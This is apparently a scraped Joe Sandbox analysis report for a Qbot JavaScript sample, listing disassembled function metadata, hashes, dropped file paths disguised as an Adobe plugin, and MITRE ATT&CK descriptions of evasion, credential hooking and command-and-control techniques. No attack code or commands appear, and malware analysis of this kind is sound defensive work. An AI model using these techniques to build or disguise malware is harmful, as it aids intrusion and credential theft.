Function 10026750 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 265COMMON

Download Yara Rule

APIs

lgetSymbol@DataPool@ScScript@@QBE?AVString@ScCore@@H@Z.MAIN(?,?), ref: 10026897

Part of subcall function 10014420: ladd@DataPool@ScScript@@QAEHPBG@Z.MAIN(00000000), ref: 100144CB

ladd@DataPool@ScScript@@QAEHPBD@Z.MAIN(EnumError,?), ref: 100269A3

Strings

EnumError, xrefs: 1002698D

Memory Dump Source

Source File: 00000004.00000002.385402302.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true

Associated: 00000004.00000002.385397966.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385452073.000000001006A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385468383.0000000010092000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385473323.0000000010094000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385478062.0000000010095000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10000000_rundll32.jbxd

Similarity

API ID: DataPool@Script@@$ladd@$Core@@String@Symbol@lget
String ID: EnumError
API String ID: 2583597771-3882444559
Opcode ID: b9510bc227c013bc2d68e481286a762884942a10cfa4d2a576d1f631649f3387
Instruction ID: 5e72645be22a80c867cf1a5739a1b96aefeb6740931a61641370bac16ebe1e1a
Opcode Fuzzy Hash: b9510bc227c013bc2d68e481286a762884942a10cfa4d2a576d1f631649f3387
Instruction Fuzzy Hash: 4CB15D75900259DFDB04DFA4C898AEDBBB5FF4A304F108058E906A73A1DB74AE45CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 10002A30 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 143COMMON

Download Yara Rule

APIs

lgetSymbol@DataPool@ScScript@@QBE?AVString@ScCore@@H@Z.MAIN(00000010,?), ref: 10002AB3
ladd@DataPool@ScScript@@QAEHPBG@Z.MAIN(00000000), ref: 10002B82

Strings

arg%ld, xrefs: 10002B67

Memory Dump Source

Source File: 00000004.00000002.385402302.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true

Associated: 00000004.00000002.385397966.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385452073.000000001006A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385468383.0000000010092000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385473323.0000000010094000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385478062.0000000010095000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10000000_rundll32.jbxd

Similarity

API ID: DataPool@Script@@$Core@@String@Symbol@ladd@lget
String ID: arg%ld
API String ID: 2362473782-3935831208
Opcode ID: fe5025173c48940e42823810babf6f5d08b8c3c948953fded6d80f36634c4b60
Instruction ID: b27aaf889c4b7928bb6849bffcc9ba5d3f9bc92eef0485070cda7769f87f9039
Opcode Fuzzy Hash: fe5025173c48940e42823810babf6f5d08b8c3c948953fded6d80f36634c4b60
Instruction Fuzzy Hash: 10519C70500345DFEB24DF65C888B9EBBF4FB0A340F108A6DE94A87251DB74AA48CF91

Uniqueness

Uniqueness Score: -1.00%

Function 10037C50 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 139COMMON

Download Yara Rule

APIs

lgetSymbol@DataPool@ScScript@@QBE?AVString@ScCore@@H@Z.MAIN(?,?), ref: 10037CB0
lgetSymbol@DataPool@ScScript@@QBE?AVString@ScCore@@H@Z.MAIN(?), ref: 10037D8A

Strings

SCOPE:, xrefs: 10037C85

Memory Dump Source

Source File: 00000004.00000002.385402302.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true

Associated: 00000004.00000002.385397966.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385452073.000000001006A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385468383.0000000010092000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385473323.0000000010094000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385478062.0000000010095000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10000000_rundll32.jbxd

Similarity

API ID: Core@@DataPool@Script@@String@Symbol@lget
String ID: SCOPE:
API String ID: 1311809857-3225615690
Opcode ID: 551f488b670468a2bbc6ad19bb987d43d955ff9fa0c96d4c64299542d325c71f
Instruction ID: c6dd166ac48dc19e314badef514705282432b051c566ec2d80334824639be3ac
Opcode Fuzzy Hash: 551f488b670468a2bbc6ad19bb987d43d955ff9fa0c96d4c64299542d325c71f
Instruction Fuzzy Hash: 20518E71A0011ADFEB05EF99C898BBEB7BAFF49701F104049E5069B391CBB85A41CF61

Uniqueness

Uniqueness Score: -1.00%

Function 10018E90 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 102COMMON

Download Yara Rule

APIs

lgetCurrent@Engine@ScScript@@SAPAV12@XZ.MAIN ref: 10018EC7

Strings

zstringInfo, xrefs: 10018F63
locale, xrefs: 10018F19

Memory Dump Source

Source File: 00000004.00000002.385402302.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true

Associated: 00000004.00000002.385397966.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385452073.000000001006A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385468383.0000000010092000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385473323.0000000010094000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385478062.0000000010095000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10000000_rundll32.jbxd

Similarity

API ID: Current@Engine@Script@@V12@lget
String ID: locale$zstringInfo
API String ID: 2727027711-1664456592
Opcode ID: 71aeea536ae00f0704572d8fd007b133a46cef9487f4434da69fc549603ac5ed
Instruction ID: 14f7e34b173a6f13c6a98d716d594e750b69cc2dd0fd3471697c815b6a2bde8c
Opcode Fuzzy Hash: 71aeea536ae00f0704572d8fd007b133a46cef9487f4434da69fc549603ac5ed
Instruction Fuzzy Hash: 23418D36800159DFDB04EFE4CC98AEDBBB9FF1A320F044119E512A7290DB746A89CF60

Uniqueness

Uniqueness Score: -1.00%

Function 10056570 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 39COMMON

Download Yara Rule

APIs

lgetVersion@Engine@ScScript@@SAHXZ.MAIN(?,10055E3A,10068A1D,000000FF,?,1005BB88), ref: 100565CC

Strings

(debug), xrefs: 100565D5
4.6.1, xrefs: 100565B1

Memory Dump Source

Source File: 00000004.00000002.385402302.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true

Associated: 00000004.00000002.385397966.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385452073.000000001006A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385468383.0000000010092000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385473323.0000000010094000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385478062.0000000010095000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10000000_rundll32.jbxd

Similarity

API ID: Engine@Script@@Version@lget
String ID: (debug)$4.6.1
API String ID: 1847757018-3793117935
Opcode ID: 432850be3050d731016bc769c64f38adb5a64d72e71c615d34642452ef5a7c7f
Instruction ID: cbec8b552882a7b572ee7d4ada92ac21e3b39990be5b39c56ebf5a69f59ba877
Opcode Fuzzy Hash: 432850be3050d731016bc769c64f38adb5a64d72e71c615d34642452ef5a7c7f
Instruction Fuzzy Hash: CB018671604528ABEB01DF54CD44BAD77B9FB09720F10425AF915D73C0DBB55A008B80

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may move onto systems, possibly those on disconnected or air-gapped networks, by copying malware to removable media and taking advantage of Autorun features when the media is inserted into a system and executes. In the case of Lateral Movement, this may occur through modification of executable files stored on removable media or by copying malware and renaming it to look like a legitimate file to trick users into executing it on a separate system. In the case of Initial Access, this may occur through manual manipulation of the media, modification of systems used to initially format the media, or modification to the media's firmware itself.
Tactics:	Initial Access, Lateral Movement
Data Sources:	Data loss prevention, File monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by hijacking the library manifest used to load DLLs. Adversaries may take advantage of vague references in the library manifest of a program by replacing a legitimate library with a malicious one, causing the operating system to load their malicious library when it is called for by the victim program.
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	Loaded DLLs, Process monitoring, Process use of network
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules ), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads.
Tactics:	Defense Evasion
Data Sources:	DLL monitoring, Loaded DLLs, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may hook into Windows application programming interface (API) functions to collect user credentials. Malicious hooking mechanisms may capture API calls that include parameters that reveal user authentication credentials.Unlike Keylogging , this technique focuses specifically on API functions that include parameters that reveal user credentials. Hooking involves redirecting calls to these functions and can be implemented via:
Tactics:	Collection, Credential Access
Data Sources:	API monitoring, Binary file metadata, DLL monitoring, Loaded DLLs, Process monitoring, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to gather information about attached peripheral devices and components connected to a computer system. Peripheral devices could include auxiliary resources that support a variety of functionalities such as keyboards, printers, cameras, smart card readers, or removable storage. The information may be used to enhance their awareness of the system and network environment or may be used for further actions.
Tactics:	Discovery
Data Sources:	API monitoring, PowerShell logs, Process command-line parameters, Process monitoring
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port paring that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report ProjectFunding_450726_Jun01.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Qbot

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Config.Msi\6781be.rbs

C:\Users\user\AppData\Local\AdobeAcrobatPDFBrowserPlugin\main.dll

C:\Users\user\AppData\Local\AdobeAcrobatPDFBrowserPlugin\notify.vbs

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WJ8I2OL4\P96VU3JU.htm

C:\Windows\Installer\6781bf.msi

C:\Windows\Installer\MSI81ED.tmp

C:\Windows\Installer\MSI980.tmp

C:\Windows\Installer\inprogressinstallinfo.ipi

C:\Windows\Temp\~DF0DDEAC6C9405E7E5.TMP

C:\Windows\Temp\~DF4D363E067C7B1335.TMP

C:\Windows\Temp\~DF7239BB99E68B74D1.TMP

C:\Windows\Temp\~DF97032EC5218A315C.TMP

C:\Windows\Temp\~DFAAF580DC072508D1.TMP

C:\Windows\Temp\~DFC5AF83C6C09B723C.TMP

C:\Windows\Temp\~DFC8411CD743E6CADD.TMP

Windows Analysis Report
ProjectFunding_450726_Jun01.js

Function 10037700 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 207
memoryCOMMON

Function 100376C0 Relevance: 4.7, APIs: 1, Strings: 2, Instructions: 156
memoryCOMMON

Function 10037490 Relevance: 3.1, APIs: 2, Instructions: 124
memoryCOMMON

Function 10037480 Relevance: 3.1, APIs: 2, Instructions: 120
memoryCOMMON

Function 100374A0 Relevance: 3.1, APIs: 2, Instructions: 110
memoryCOMMON

Function 100374B0 Relevance: 3.1, APIs: 2, Instructions: 103
memoryCOMMON

Function 100559A0 Relevance: 29.9, APIs: 3, Strings: 14, Instructions: 152
COMMON

Function 1005C09A Relevance: 7.6, APIs: 5, Instructions: 58
COMMON

Function 100379BC Relevance: .1, Instructions: 55
COMMON